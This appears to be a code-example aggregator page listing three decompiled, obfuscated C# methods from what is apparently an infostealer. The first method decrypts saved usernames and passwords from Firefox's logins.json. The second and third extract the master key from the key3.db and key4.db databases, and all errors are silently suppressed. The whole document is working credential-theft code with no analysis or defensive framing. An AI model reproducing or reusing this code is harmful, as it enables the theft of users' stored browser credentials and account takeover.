Exemplo n.º 1
0
        // Token: 0x06000CC6 RID: 3270 RVA: 0x000285A4 File Offset: 0x000267A4
        public List <BrowserCredendtial> Lopos(string profile, byte[] privateKey)
        {
            List <BrowserCredendtial> list = new List <BrowserCredendtial>();

            try
            {
                string path = rcvr.CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (!File.Exists(path))
                {
                    return(list);
                }
                foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
                {
                    JsonValue          jsonValue          = (JsonValue)obj;
                    нкрпар             нкрпар             = Апн.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                    нкрпар             нкрпар2            = Апн.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                    string             text               = Regex.Replace(шо67г.lTRjlt(privateKey, нкрпар.Objects[0].Objects[1].Objects[1].ObjectData, нкрпар.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    string             text2              = Regex.Replace(шо67г.lTRjlt(privateKey, нкрпар2.Objects[0].Objects[1].Objects[1].ObjectData, нкрпар2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    BrowserCredendtial browserCredendtial = new BrowserCredendtial
                    {
                        URL      = (string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false)),
                        Login    = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
                        Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
                    };
                    if (browserCredendtial.Login != "UNKNOWN" && browserCredendtial.Password != "UNKNOWN" && browserCredendtial.URL != "UNKNOWN")
                    {
                        list.Add(browserCredendtial);
                    }
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }
Exemplo n.º 2
0
 // Token: 0x06000CC8 RID: 3272 RVA: 0x00028A30 File Offset: 0x00026C30
 private static byte[] p3k(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         ррп6    berkeleyDB = new ррп6(file);
         о6а     о6а        = new о6а(hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("password-check")));
         string  hexString  = hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
         р6прлгв р6прлгв    = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), rcvr.ConvertHexStringToByteArray(о6а.EntrySalt));
         р6прлгв.го7па();
         шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, rcvr.ConvertHexStringToByteArray(о6а.Passwordcheck), PaddingMode.None);
         нкрпар  нкрпар   = Апн.Create(rcvr.ConvertHexStringToByteArray(hhhh6r.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         р6прлгв р6прлгв2 = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         р6прлгв2.го7па();
         нкрпар нкрпар2 = Апн.Create(Апн.Create(Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв2.DataKey, р6прлгв2.DataIV, нкрпар.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
         if (нкрпар2.Objects[0].Objects[3].ObjectData.Length > 24)
         {
             Array.Copy(нкрпар2.Objects[0].Objects[3].ObjectData, нкрпар2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
         }
         else
         {
             array = нкрпар2.Objects[0].Objects[3].ObjectData;
         }
     }
     catch (Exception)
     {
     }
     return(array);
 }
Exemplo n.º 3
0
 private static byte[] p4k(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         CNT cNT = new CNT(file);
         cNT.ReadTable("metaData");
         string  s           = cNT.ParseValue(0, "item1");
         string  s2          = cNT.ParseValue(0, "item2)");
         нкрпар  нкрпар      = Апн.Create(Encoding.Default.GetBytes(s2));
         byte[]  objectData  = нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[]  objectData2 = нкрпар.Objects[0].Objects[1].ObjectData;
         р6прлгв р6прлгв     = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         р6прлгв.го7па();
         шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2);
         cNT.ReadTable("nssPrivate");
         int    rowLength = cNT.RowLength;
         string s3        = string.Empty;
         for (int i = 0; i < rowLength; i++)
         {
             if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(strg.Key4MagicNumber))
             {
                 s3 = cNT.ParseValue(i, "a11");
                 break;
             }
         }
         нкрпар нкрпар2 = Апн.Create(Encoding.Default.GetBytes(s3));
         objectData  = нкрпар2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         objectData2 = нкрпар2.Objects[0].Objects[1].ObjectData;
         р6прлгв     = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         р6прлгв.го7па();
         result = Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2, PaddingMode.PKCS7));
         return(result);
     }
     catch (Exception)
     {
         return(result);
     }
 }